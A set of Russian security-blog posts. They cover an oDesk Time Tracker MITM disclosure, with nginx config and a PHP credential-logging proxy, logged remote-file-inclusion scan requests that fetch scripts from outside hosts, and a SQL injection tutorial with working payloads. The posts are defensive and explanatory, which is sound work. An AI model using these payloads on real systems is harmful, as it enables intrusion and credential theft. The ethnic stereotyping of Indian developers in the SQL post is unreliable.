1. oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is doable).

   To imitate the DNS spoofing we will need to edit /etc/hosts file:

   127.0.0.1 team.odesk.com

   And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used nginx:

   server {
       listen 80;
       server_name team.odesk.com;
   
       access_log  /var/log/nginx/team.odesk.com-access.log;
       error_log  /var/log/nginx/team.odesk.com-error.log;
   
       root /var/www/team.odesk.com;
   
       try_files junk @proxy;
   
       location @proxy {
           fastcgi_pass 127.0.0.1:8000;
           fastcgi_index index.php;
           fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
           include /etc/nginx/fastcgi_params;
       }
   }
   
   server {
       listen 443;
       keepalive_timeout 70;
   
       server_name  default;
       access_log  /var/log/nginx/secure-team.odesk.com-access.log;
       error_log  /var/log/nginx/secure-team.odesk.com-error.log;
   
       ssl on;
       ssl_certificate /etc/nginx/certs/fake-cert.crt;
       ssl_certificate_key /etc/nginx/certs/fake-cert.key;
       ssl_session_timeout 5m;
   
       ssl_protocols SSLv3 TLSv1;
       ssl_ciphers HIGH:MEDIUM;
       ssl_prefer_server_ciphers on;
       ssl_session_cache shared:SSL:10m;
   
       root /var/www/team.odesk.com;
   
       try_files junk @proxy;
   
       location @proxy {
           fastcgi_pass 127.0.0.1:8000;
           fastcgi_index index.php;
           fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
           include /etc/nginx/fastcgi_params;
       }
   }

   Nice PHP proxy that logs all communication between the client and server:

   <?php
       if (false == empty($_POST)) {
           $ch = curl_init('https://209.128.65.132' . $_SERVER['REQUEST_URI']);
   
           $data = $_POST;
           if (false == empty($_FILES)) {
               foreach ($_FILES as $key => $item) {
                   $data[$key] = '@' . $item['tmp_name'];
               }
           }
   
           $f = fopen(dirname(__FILE__) . '/log.txt', "a");
           fwrite($f, $_SERVER['REQUEST_URI'] . "\n");
           fwrite($f, "<<<\n");
           fwrite($f, print_r($data, 1));
           fwrite($f, ">>>\n");
   
           curl_setopt($ch, CURLOPT_POST, true);
           curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
           curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: team.odesk.com'));
           curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
           curl_setopt($ch, CURLOPT_HEADER, false);
           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
   
           $s = curl_exec($ch);
           curl_close($ch);
           fwrite($f, $s);
           fwrite($f, "---\n\n\n");
           fclose($f);
           print $s;
       }
       else {
           print "status=S_OK\n";
           print "Fraude perit virtus";
       }
   ?>

   Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:

   SERVER: https://209.128.65.132/client/receiver
   IN:
   Array
   (
       [version] => Linux/1.3.4
       [status] => C_NORMAL
       [company] => ics2:ics2
       [user] => vkolesnikov
       [password] => password_goes_here
       [uid] => 5f323dce-ee5c-4347-9074-ed5d356362d4
       [computer] => SJINKS
       [os] => Linux Ubuntu 9.04 (2.6.28-13-server)
       [snapint] => 600
       [trigger] => login
       [keyev] => 1
       [mousev] => 1
       [events_per_minute] => 1245070126,1,1
       [activewintitle] => client : mc
       [screensaveron] => false
       [memo] =>.
       [task_id] =>.
       [task_description] =>.
       [screenshot_width] => 1680
       [screenshot_height] => 1050
       [timestamp] => 1245070127
       [screen] => @/tmp/phpqzwmeh
   )
   
   OUT:
   status=S_OK
   servertime=1245070127
   hiresdesktop=enable
   webcam=user
   period=600
   use_https=yes
   company_name=ICS
   first_name=Vladimir
   last_name=Kolesnikov
   tz=Europe/Athens
   company=ics2:ics2
   login=vkolesnikov
   companies=Sphere314,extrememember,ics2:ics2
   odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25
   task_integration_policy=1
   cache_size=120
   And here comes the second vulnerability.
2. Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.

The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker’s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider’s account.

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Безопасность, о которой все так много говорят… (12)
• Уязвимости oDesk (2)
• Простой DoS для PHP (3)
• Настройка nginx и PHP/FastCGI в Windows (41)
• Минимизируем неприятные последствия HTTP-сканирования (24)

Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.

Если Вы всё еще читаете , то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге.

Начнём с объяснения, что я имею в виду под HTTP-сканированием. Под HTTP-сканированием я имею в виду попытки найти уязвимые компоненты сайта методом проб и ошибок. Например:

В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то уязвимость (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл http://www.mykr.net/bbs/id.txt.

Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает:

Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого:

Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу.

Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия Apache и PHP, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения.

Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 частично подвержена данной уязвимости:

Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя).

Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл. Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета.

Сканирование может быть не таким явным: например,

Так как я знаю, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll — это Microsoft SharePoint Team Services; на подобный скан есть две точки зрения:

1. It is an attempt to gain admin rights (hack).

2. You're being visited by a user who has installed Microsoft Office and Internet Explorer, and who has enabled the "Discuss" toolbar in his browser. When that toolbar is enabled, the browser will automatically query for these two files when visiting each site, to determine whether the Office Server Extensions are installed.

   If you are on a Windows server, you can install Office Server Extensions (available in Office 2000) and then the /MSOffice/cltreq.asp path will contain a valid file, allowing visitors to discuss content. Wouldn't that be neat?

У каждого свой уровень паранойи (my paranoia is probably worse), так что смотрите сами.

Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос

пытается использовать уязвимость плагина WassUp; в случае успеха он выдаст атакующему логины и хэш паролей пользователей.

Частыми гостями в логе nginx являются запросы вида

Запросы рассчитаны на ошибки в реализациях прокси-серверов.

Теперь переходим к вопросам анализа и противодействия.

Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404:

Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи grep -v, я не буду на этом подробно останавливаться.

Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой:

Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (Linux rules, однозначно):

Файл filtered.txt будет содержать интересующие нас запросы.

Проанализировав свой файл, я пришел к следующим результатам:

• практически все запросы (query string), ориентированные на попытку выполнения удалённого (remote) скрипта, содержат в себе как минимум один лишний знак вопроса, например:

  //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt?
  /sub.php?sub=http://61.19.234.26/test.txt???
  /admin.php?include_path=http://zionuccarendtsville.org/plugins/spamx/language/COPYRIGHT.txt??
  

  Первый знак вопроса означает начало строки запроса, а вот последний знак вопроса по всем правилам должен записываться как %3F. Я не знаю, зачем люди так сделали, но это отличная сигнатура для поиска;
• запросы, ищущие уязвимости в реализации прокси, имеют вид GET http://... или GET /http://.... Тоже достаточно просто отловить.
• из-за какого-то бага в реализации сканера, во многих запросах встречается удвоенный (а иногда даже утроенный) слэш:

  203.177.42.133 - - [22/Jul/2008:10:21:16 +0300] "GET /sitemap.xml///safehtml/safehtml.php?dir[plugins]=http://www.brazebo.it/echo.txt???? HTTP/1.1"
  86.109.96.134 - - [02/Aug/2008:23:53:53 +0300] "GET /sitemap.xml//wp-pass.php?_wp_http_referer=http://www.sv-haslach.com/modules/.../sistem.txt??? HTTP/1.1"
  

  Удвоенный еще куда ни шло, но утроенный — это перебор;
• у 85% процентов сканеров User-Agent установлен в libwww-perl (ибо Perl — истинно хакерский язык);
• сканеры, использующие уязвимости для обходафайловой системы, имеют в теле запроса сигнатуры ../ (Linux/Windows) и/или ..\ (Windows). Тоже легко ловится;
• как правило, большинство сканеров начинают обход с корня сайта: поиск уязвимостей производится методом проб и ошибок: вернул сервер 404? Ладно, пробуем следующий файл. Если же сервер для корня возвращает 403 Forbidden, сканеры обычно прекращают попытки (исключение составляют те сканеры, которые предварительно обходят весь сайт).

Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их может найти. А это именно то, что мы хотим избежать.

А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало):

Первый RewriteCond рассчитан на ботов, которые используют слишком много знаков вопроса, второй — на тех, кто пытается сделать обход файловой системы, третий — на тех, кто перебарщивает со слэшами и четвёртый — на тех, кто пытается найти уязвимый прокси.

Данное решение не является панацеей, но, тем не менее, довольно действенное.

Есть одно очень радикальное средство: запретить доступ всем libwww-perl:

Update: весьма полезная статья, о том, как блокировать нежелательных посетителей при помощи mod_rewrite.

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Водка с феназепамом? Или всё-таки правда? (21)
• Безопасность, о которой все так много говорят… (12)
• Уязвимость в форуме SMF (2)
• Уязвимости oDesk (2)
• Простой DoS для PHP (3)

Наткнулся сегодня на очень интересную статью:

Российский хакер, известный как Крис Касперски, обнаружил уязвимость в процессорах Intel, которая позволяет совершить удаленный взлом системы при помощи скрипта на JavaScript или TCP/IP-пакета вне зависимости от операционной системы. Об этом пишет PC World со ссылкой на краткое описание презентации, подготовленной Касперски.

Хакер намерен в октябре продемонстрировать свою методику на конференции Hack In The Box в малайзийском Куала-Лумпуре. Касперски заявил, что намерен показать работающий код и сделать его общедоступным. Он добавил, что ошибки в микропроцессорах становятся все более серьезной угрозой, так как уже пишутся использующие их зловредные программы.

По словам хакера, некоторые ошибки процессоров позволяют просто обрушить систему, другие помогают злоумышленнику получить доступ на уровне ядра ОС, а использование третьих отключает защиту Vista.

Крис Касперски продемонстрирует свою методику взлома на компьютерах с Windows XP, Vista, Windows Server 2003, Windows Server 2008, ОС на базе ядра Linux и BSD. Возможно, также добавится Mac. На все эти системы будут установлены последние обновления.

Всё же интересно: правда ли это? Или доблестные щелкопёры всё приукрасили?

В оригинале статьи сказано:

In this presentation, I will share with the participants the finding of my CPU malware detection research which was funded by Endeavor Security. I will also present to the participants my improved POC code and will show participants how it’s possible to make an attack via JavaScript code or just TCP/IP packets storms against Intel based machine. Some of the bugs that will be shown are exploitable via common instruction sequences and by knowing the mechanics behind certain JIT Java-compilers, attackers can force the compiler to do what they want (for example: short nested loops lead to system crashes on many CPUs). I will also share with the participants my experience in data recovery and how CPU bugs have actually contributed in damaging our hard drives without our knowledge.

И я вот не могу отделаться от подозрения, что всё это розыгрыш: начать уж с того, что Java != JavaScript, и не факт, что любой движок для JavaScript будет компилировать JavaScript в родной код процессора. И я не уверен, что процессор может напрямую повредить жесткий диск (разве что он будет скармливать контроллеру соответствующие команды). Обработкой TCP/IP-пакетов процессор напрямую вообще не занимается (если только я что-то не пропустил).

Очень подозреваю, что выяснится десяток жутко специальных требований, необходимых для успешной реализации данной уязвимости.

Но всё-таки, вдруг это не самореклама и Крис прав?

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Простой DoS для PHP (3)
• Минимизируем неприятные последствия HTTP-сканирования (24)
• Безопасность, о которой все так много говорят… (12)
• Уязвимость в форуме SMF (2)
• Уязвимости oDesk (2)

Анализируя журнал безопасности системы, я добавляю в iptables правила, блокирующие доступ с адресов, с которых замечены попытки вторжения. В большинстве случаев в черный список попадают товарищи, пытающиеся залезть в систему по SSH; иногда я добавляю злостных хакеров, пытающихся устроить DoS или проводящих SQL injection/сканирование на наличие уязвимостей (поиск таких вот товарищей приходится осуществлять вручную, ибо их методы очень различны, и автоматический анализатор, дающий хотя бы 85% гарантию обнаружения, я пока еще не написал).

В надежде, что этот список (оформленный в виде правил для iptables) окажется кому-нибудь полезным (он будет периодически обновляться), выкладываю его в общее пользование.

Политика здесь такая: если атака идет из Китая/Кореи/Японии/Пакистана, блокируется весь диапазон адресов, принадлежащий атакующему (диапазон получается через whois). В зависимости от "тяжести" (метода сканирования, количества попыток, наглости и т.п.) диапазон может сужаться или расширяться (особенно, если организация — университет).

Надеюсь, кому-нибудь списочек пригодится…

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Скажи «Нет!» взломщику: часть 2 (2)
• Скажи «Нет!» взломщику (15)
• Минимизируем неприятные последствия HTTP-сканирования (24)
• Как правильно использовать диапазон портов в –sport и –dport в iptables с использованием multiport (0)
• Водка с феназепамом? Или всё-таки правда? (21)

Специалисты по безопасности, пожалуй, всем уже проели плешь, говоря о том, что все данные, приходящие от пользователя, нужно тщательно проверять… Казалось бы, "азбучные истины", этому должны учить в школе . Мне стало интересно: а многие ли сайты действительно защищены?

Внимание: материал предоставлен только в ознакомительных/образовательных целях! Автор не несёт ответственности за всё, что может случиться. Данная статья не должна рассматриваться, как практическое руководство по взлому; статья является обзором наиболее типичных ошибок программистов и объясняет, как именно невнимательность разработчиков может служить источником дыр безопасности.

Одна из самых распространённых атак (я не беру DoS, DDoS и иже с ними) — это SQL Injection Attack.

Как пишет Wikipedia,

Инъекция SQL (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.

Инъекция SQL, в зависимости от типа используемой СУБД и условий инъекции, может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.

Атака типа инъекции SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL-запросах.

Как уже было сказано, такие атаки проходят из-за недостаточной обработки входных параметров скрипта. Нередки случаи, когда программисты-новички, полагают, что если ID записи — это число, то скрипт всегда будет получать именно число, а не строку. Простой пример реального кода:

Всем хорош код, когда $id — это число. Например, если скрипт был вызван "script.php?id=123", то запрос принял бы следуюший вид:

Всё хорошо, но встречаются нехорошие дяди, которые вместо числа могут скормить скрипту всякую каку: для данного простого примера достаточно передать скрипту в параметрах script.php?id=0%20OR%201, чтобы заставить его выбрать все записи (о том, как обойти LIMIT, чуть ниже). Фактически, запрос будет переписан в виде

Так как практически всегда для ID используются автоинкрементные поля, то выражение (id = 0) будет всегда ложно. А (FALSE OR 1) — всегда истинно.

Даже если запрос содержит LIMIT, это не спасает от выборки произвольной записи: script.php?id=0%20OR%201%20LIMIT%20A,B/*%20--

Вместо A и B — значения для offset и count соответственно, например:

Что примечательно: MySQL успешно выполнит запрос не смотря на то, что комментарий-то не закрыт. А так как /* */ — многострочный комментарий, то запрос отлично выполнится, даже если он многострочный.

Есть и другой метод — более простой, но не всегда рабочий — просто передать скрипту нужный id и не ломать голову с запросом. Очевидно, что если скрипт делает выборку не только по id, но и по другому полю (например, WHERE `id` = 'id' AND `member_id` = 'member_id'), то простая подмена числа не сработает. А инъекция будет работать.

Сама по себе техника простая, но очень эффективная и деструктивная. Когда я работал над сайтом uk-swingers.com (исправлял баги), я показал заказчику, как из его базы можно было воровать… номера кредитных карточек с кодами CVV, информацией о владельце и прочими данными. То, что хранение подобной информации в БД запрещено, это другая история… Да, он шифровал информацию в БД (при помощи алгоритма RC4 ). Да, он стирал 4 средние цифры из номера кредитки (через несколько часов после выполнения транзакции), но был ли в этом смысл? Дело в том, что данные могли быть зашифрованы как угодно, но браузеру они передавались в открытом виде. А номер кредитной карточки можно легко восстановить — во-первых, можно угадать BIN, исходя из территориальной близости к банку, во-вторых, перебором можно вычислить возможные номера карточки (для валидации номера используется формула Луна). На другом сайте (имя пока открыть не могу) так можно было читать чужие письма и воровать почтовые адреса и пароли (и устраивать кучу других гадостей).

Немного сложнее со строками. Я провел исследование, и выяснил, что если строка передается на сервер из <input type="hidden">, то она далеко не всегда экранируется (особенно, если авторство кода принадлежит индусам).

Пример с реального сайта (кстати, писали даже не индусы, а вьетнамцы):

script.php?member=testdavid

Инъекция проходит аналогично: так как строки в MySQL заключаются в одинарные или двойные кавычки, то запрос модифицируется так, чтобы закрыть кавычку:

Аналогично вышеприведённому примеру, в запрос можно добавить LIMIT и ORDER BY.

Ладно, хватит голой теории, переходим к практике
Большую популярность получили сайты, публикующие различные статьи различных авторов: владельцы сайтов получают контент, авторы — обратную ссылку на свой сайт и возможность показывать свою рекламу. Таких сайтов много: articledashboard.com, articledirectory.com, webarticles.com и т.п.

Один из таких сайтов (articledashboard.com) писали индусы Заинтересовали они меня тем (articledashboard.com, не индусы), что они предлагали скачать "exact software that powers Article Dashboard for FREE". Кто не любит халяву Хотя PHP-код зашифрован ionCube, индусское авторство доказывается наличием огромного файла functions.php (я подобное видел во всех проектах, когда приходилось переделывать код после индусов). А индусы не любят делать addslashes(). Тоже из опыта.

Приведу несколько скриншотов, показывающих наличие уязвимостей на сайте.

На сайте есть хорошая функция — загрузка своей аватарки. Казалось бы, что здесь можно сломать? Тем не менее, и описываемая ниже уязвимость сводится к недостаточной обработке входных данных.

Есть очень хороший extension для FireFox, который позволяет подделывать mime-type. То есть фактически мы можем проинструктировать FireFox посылать произвольный файл (например, php) с mime-type, соответствующим изображению (например, image/png). В том случае, если сервер проверяет тип файла только по данным, которые пришли со стороны пользователя, скрипт обманывает сам себя.

И на закуску: все эти сайты работают под ArticleDirectory.

А вы говорите, безопасность…

Мораль сей басни такова: никогда (еще раз подчёркиваю, никогда) нельзя доверять данным, которые пришли со стороны пользователя. Все данные нужно проверять и при проверках предполагать худшее. Естественно, это увеличивает размер кода и время написания программы. Но лучше заказчику потратить пару сотен долларов на безопасность, чем рвать волосы на голове после обнаружения взлома по факту.

© 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

• Минимизируем неприятные последствия HTTP-сканирования (24)
• Как не нужно интегрировать платёжные системы (8)
• Водка с феназепамом? Или всё-таки правда? (21)
• oDesk Time Tracker Vulnerabilities (2)
• Уязвимость в форуме SMF (2)